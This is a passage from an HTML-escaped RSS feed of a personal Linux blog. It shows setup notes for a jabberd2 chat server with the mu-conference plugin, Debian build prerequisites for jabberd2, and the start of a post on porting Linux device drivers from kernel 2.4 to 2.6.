&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;admin@im.example.com&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;templates/roster.xml&lt;/code&gt;:
(Controlling what users automatically appear on the contact list)&lt;/p&gt;
&lt;h2 id=&quot;support&quot;&gt;Support&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Uncomment that query tag and make it look something like that.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&quot;mysql-configuration&quot;&gt;MySQL configuration&lt;/h3&gt;
&lt;p&gt;in the source package where the tar.gz file was extracted there’s a directory tools/
and inside it a &lt;code&gt;db-setup.mysql&lt;/code&gt; file.
With the root user account run: &lt;code&gt;mysql -u root -p &amp;#x3C; db-setup.mysql&lt;/code&gt;
It will create the database &lt;code&gt;jabberd2&lt;/code&gt; and populate all the tables.&lt;/p&gt;
&lt;p&gt;Then we need to allow the &lt;code&gt;jabberd2&lt;/code&gt; user which is configured in all the files (c2s, sm, etc)
access to the database, inside mysql console run:&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;GRANT select,insert,delete,update ON jabberd2.* to jabberd2@localhost IDENTIFIED by &apos;secret&apos;;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Note, if you change that password from ‘secret’ to something else be sure to make changes
in the configuration files as well.&lt;/p&gt;
&lt;p&gt;If everything went well you can run the jabberd program (it’s actually a script
that calls the rest of the server components) as follows:&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;/usr/local/bin/jabberd&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;And now check syslog, hopefully for successful messages.&lt;/p&gt;
&lt;p&gt;Deploying the &lt;code&gt;mu-conference&lt;/code&gt; conferencing plugin is done as follows:
Get the program from: &lt;a href=&quot;http://download.gna.org/mu-conference/&quot;&gt;http://download.gna.org/mu-conference/&lt;/a&gt;&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;wget http://download.gna.org/mu-conference/mu-conference_0.7.tar.gz&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;tar -zxvf mu-conference_0.7.tar.gz&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;cd mu-conference_0.7&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;make&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;copy the mu-conference binary to /usr/local/bin&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;copy the muc.xml configuration file to /usr/local/etc&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;configure the muc.xml file as follows:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;conf.example.com&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;conf.example.com&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;127.0.0.15347 &lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;secret&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;/usr/local/var/jabberd/spool/rooms&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;/usr/local/var/jabberd/log/usr/local/var/jabberd/pid/mu-conference.pid&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;255&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;admin@im.example.com&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;Changing the &lt;code&gt;loglevel&lt;/code&gt; to 255 is a good idea when starting out, later you can change it back.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;For creating persistent rooms – meaning that they always exist on the server
without having each user create them manually when he or she pleases:&lt;/p&gt;
&lt;p&gt;in the source directory for mu-conference there’s a scripts/ directory, there you can
find the &lt;code&gt;roommaker.pl&lt;/code&gt; script, run it and answer the questions as follows:&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;Please enter spool directory path (e.g. /usr/local/jabber/spool): /usr/local/var/jabberd/spool/rooms&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;Please enter jid for the room: lobby@conf.example.com&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;/usr/local/var/jabberd/spool/conf.example.com/ doesn’t exist – Create? (Y/N) y&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;Creating Directory&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;Configuring room lobby@conf.example.com&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;Filename: /usr/local/var/jabberd/spool/conf.example.com/[long-alpha-numeric-text].xml&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;General Options&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;—&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;Room name (text) [Default: lobby]:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;Password (text) [Default: ]:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;Room description/MOTD (text) [Default: ]:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;Room subject (text) [Default: ]:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;Bare JID of room creator (text) [Default: ]: admin@im.example.com&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;Is room public (0/1) [Default: 0]:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;Maximum Users  (value) [Default: 0]: 256&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;Permission Options&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;—&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;Allow non-admins to see real jids (0/1) [Default: 0]:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;Can users change subject (0/1) [Default: 0]:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;Allow users to IQ query other users (0/1) [Default: 0]:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;Legacy Options:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;—&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;Consider all clients legacy (0/1) [Default: 0]:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;Legacy join message (text) [Default: ]:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;Legacy leave message (text) [Default: ]:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;Legacy rename message (text) [Default: ]:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;Moderation Options:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;—&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;Is room moderated (0/1) [Default: 0]:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;Skipping Moderation options&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;Member-Only Options:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;—&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;Make room member-only (0/1) [Default: 0]:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;Skipping Moderation options&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;Logging Options:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;—&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;Enable native room logging (0/1) [Default: 0]: 1&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;Log Format&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;0] Plain Text&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;1] XML&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;2] XHTML&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;[Default: 0]: 0&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;Owner List:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;—&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;JID of owner (Empty line to exit): admin@im.example.com&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;JID of owner (Empty line to exit):&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;Admin List:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;—&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;JID of admin (Empty line to exit): admin@im.example.com&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;JID of admin (Empty line to exit):&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;Member List:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;—&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;JID of member (Empty line to exit):&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;Outcast List:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;—&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;JID of outcast (Empty line to exit):&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;Writing Room definition file&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;Room registry not found. Creating&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;Writing updated Room registry file&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;[jabberd@opennms scripts]&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;What it will do is create &lt;code&gt;rooms.xml&lt;/code&gt; and another &lt;code&gt;long-name.xml&lt;/code&gt; file inside the
&lt;code&gt;/usr/local/var/jabberd/spool/rooms/conf.example.com/&lt;/code&gt; directory, copy those files
to the actual &lt;code&gt;/usr/local/var/jabberd/spool/rooms/&lt;/code&gt; folder (overwrite the &lt;code&gt;rooms.xml&lt;/code&gt; it’s ok)&lt;/p&gt;
&lt;p&gt;Then try running jabberd, after that you can run the &lt;code&gt;mu-conference&lt;/code&gt; program manually
by running &lt;code&gt;/usr/local/bin/mu-conference -c /usr/local/etc/muc.xml&lt;/code&gt;
And check it’s log file at: &lt;code&gt;/usr/local/var/jabberd/log/mu-conference.log&lt;/code&gt;
to see that everything is ok.&lt;/p&gt;
&lt;p&gt;Bibliography: very useful information can be found at
&lt;code&gt;jabberd2&lt;/code&gt; deployment: &lt;a href=&quot;http://jabberd2.xiaoka.com/wiki/InstallGuide/&quot;&gt;http://jabberd2.xiaoka.com/wiki/InstallGuide/&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;mu-conference&lt;/code&gt; configuration and package:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;http://download.gna.org/mu-conference/&quot;&gt;http://download.gna.org/mu-conference/&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://www.opennms.org/index.php/How_to_configure_jabberd2_to_work_with_OpenNMS&quot;&gt;http://www.opennms.org/index.php/How_to_configure_jabberd2_to_work_with_OpenNMS&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</content:encoded></item><item><title>Jabberd2 deployment notes</title><link>https://lirantal.com/blog/2007-10-17/</link><guid>https://lirantal.com/blog/2007-10-17/</guid><description>Conferencing room for your Asterisk PBX</description><pubDate>Wed, 17 Oct 2007 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;code&gt;Jabberd2&lt;/code&gt; can definitely be annoying to install with all of its &lt;code&gt;pre-requiste&lt;/code&gt; requirements and not having a debian package for the latest &lt;code&gt;jabberd2&lt;/code&gt; (2.1.17 at this time) isn’t really adding much fun to it.&lt;/p&gt;
&lt;p&gt;On a Debian Etch system (and possibly Ubuntu) it is required to have the following packages installed as a requirement to build &lt;code&gt;jabberd2&lt;/code&gt;:&lt;/p&gt;
&lt;p&gt;OpenSSL support:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;libssl-dev (&gt;= 0.9.6b)&lt;/li&gt;
&lt;li&gt;libssl0.9.8&lt;/li&gt;
&lt;li&gt;openssl&lt;/li&gt;
&lt;/ul&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;apt-get install libssl-dev libssl0.9.8 openssl&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Libidn support:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;libidn11&lt;/li&gt;
&lt;li&gt;libidn11-dev&lt;/li&gt;
&lt;/ul&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;apt-get install libidn11 libidn11-dev&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Expat:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;libexpat1&lt;/li&gt;
&lt;li&gt;libexpat1-dev&lt;/li&gt;
&lt;/ul&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;apt-get install libexpat1 libexpat1-dev&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;If you’re planning to work with MySQL or other database then you’d also need the header and development files, or in short:&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;apt-get install mysql-server-5.0 libmysqlclient15-dev libmysqlclient15off&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;</content:encoded></item><item><title>Device drivers migration in Linux</title><link>https://lirantal.com/blog/2007-10-15/</link><guid>https://lirantal.com/blog/2007-10-15/</guid><description>Moving from linux 2.4 to 2.6 by recompiling linux kernel device drivers</description><pubDate>Mon, 15 Oct 2007 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Migrating drivers is always a fun thing to do.&lt;/p&gt;
&lt;p&gt;All most all migrations of device drivers from a 2.4 kernel to a 2.6 kernel
has one thing in common and that’s handling of device node registration.
If the 2.6 kernel supports &lt;code&gt;devfs&lt;/code&gt; (&lt;code&gt;CONFIG_DEVFS_FS&lt;/code&gt;) then it may be possible
that API changes are very small if any although if the 2.6 version of the
kernel you’re running doesn’t support &lt;code&gt;DEVFS&lt;/code&gt; and requires manually allocating
major and minor numbers to the new /dev structure then you’re up to some work,
nothing too serious of course.&lt;/p&gt;
&lt;p&gt;So this is really just the basics of things, starting with the includes it
is possible to add backward compatibility for the driver to compile on a 2.4
kernel as well with something along the lines of:&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;#ifdef CONFIG_DEVFS_FS&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;#include&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;#else&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;#include&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;#endif&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Then we need to deal with major and minor numbers, specifically if this is
some third party, vendor owned driver then it is common that they make up
major/minor pairs of their own imagination, thus:&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;#ifndef CONFIG_DEVFS_FS&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;#define DRV_MAJOR 200&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;#define DRV_MINOR 99&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;#define DRV_COUNT 1&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;char dev_name_DRV[] = &quot;sample_drv&quot;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;#endif&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;when defining the driver’s structure there’s also a distinction that has
to be made in how the device node is approached, and so:&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;typedef struct gpio_dev_stc {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;int device_id;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;char drvif_name[80];&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;#ifdef CONFIG_DEVFS_FS&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;devfs_handle_t handle;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;#else&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;int major;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;#endif&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;struct proc_dir_entry *procfs_entry;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;} DRV_DEV;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;And we continue on with these distinctions:&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;#ifdef CONFIG_DEVFS_FS&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;static devfs_handle_t devfs_dir_handle = NULL;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;#else&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;static char devname[]=&quot;0&quot;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;static struct cdev drv_cdev;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;#endif&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Then we can jump right away to the &lt;code&gt;__init&lt;/code&gt; module function
and make appropriate changes for device registration,
starting by defining 2 new variables:&lt;/p&gt;
